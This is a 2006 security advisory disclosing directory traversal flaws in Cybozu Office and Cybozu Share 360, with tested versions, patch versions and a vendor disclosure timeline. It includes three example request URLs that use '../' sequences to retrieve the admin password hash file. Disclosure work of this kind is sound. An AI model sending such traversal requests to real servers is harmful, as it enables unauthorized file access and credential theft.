Cybozu Products Arbitrary File Retrieval Vulnerability

by Tan Chew Keong
Release Date: 2006-08-28

Summary

A vulnerability has been found in Cybozu Products. When exploited, the vulnerability allows
an authenticated user to retrieve arbitrary files accessible to the web server process.

Tested Versions
    * Cybuzu Office Version 6.5 (Build 1.2 20050427121735) for Windows
    * Cybozu Share 360 Version 2.5 (Build 0.2 20050121115231) for Windows


Details

This advisory discloses a directory traversal vulnerability in Cybozu products.
1) Cybozu Office File Cabinet File Download Directory Traversal

Cybuzu Office does not properly validate the "id" parameter in "/scripts/cbag/ag.exe" before
using it to retrieve files from the file cabinet for a logon user. This allows a malicious user
to retrieve arbitrary files accessible to the web server process using directory traversal characters.

Example (to retrieve the password hash of the admin page):

http://192.168.1.64/scripts/cbag/ag.exe?page=FileDownload&id=../../../../../../../../../../../../../inetpub/scripts/cbag/cb5/data/admin&notimecard=1&type=text&subtype=html&ct=1


2) Cybozu Share 360 File Cabinet and Message Attachment Download Directory Traversal

Cybuzu Share 360 does not properly validate the "id" parameter in "/scripts/s360v2/s360.exe"
before using it to retrieve files from the file cabinet and to retrieve file attachments from a
received message/memo. This allows a malicious user to retrieve arbitrary files accessible to the
web server process using directory traversal characters.

Example (to retrieve the password hash of the admin page):

http://192.168.1.64/scripts/s360v2/s360.exe?page=FileDownload&id=../../../../../../../../../../inetpub/scripts/s360v2/s360v2/data/admin&type=text&subtype=plain&ct=1&.txt

http://192.168.1.64/scripts/s360v2/s360.exe?page=MessageDownload&mid=37&id=../../../../../../../../../../inetpub/scripts/s360v2/s360v2/data/admin&bc=1&type=text&subtype=plain&ct=1&.txt


Patch / Workaround

Cybuzu Office:
Update to Version 6.6 (Build 1.3).

Cybozu Share 360:
Update to Version 2.5 (Build 0.3).

References

http://cybozu.co.jp/products/dl/notice_060825/

Disclosure Timeline

2006-07-04 - Vulnerability Discovered.
2006-07-13 - Initial Vendor Notification.
2006-07-13 - Initial Vendor Reply.
2006-07-14 - Received scheduled patch release date from vendor.
2006-08-16 - Received notification that patch release will be delayed.
2006-08-25 - Vendor released patch information on website.
2006-08-28 - Public Disclosure.

Contact
For further enquries, comments, suggestions or bug reports, simply email them to
Tan Chew Keong (chewkeong[at]vuln[dot]sg)

# milw0rm.com [2006-08-28]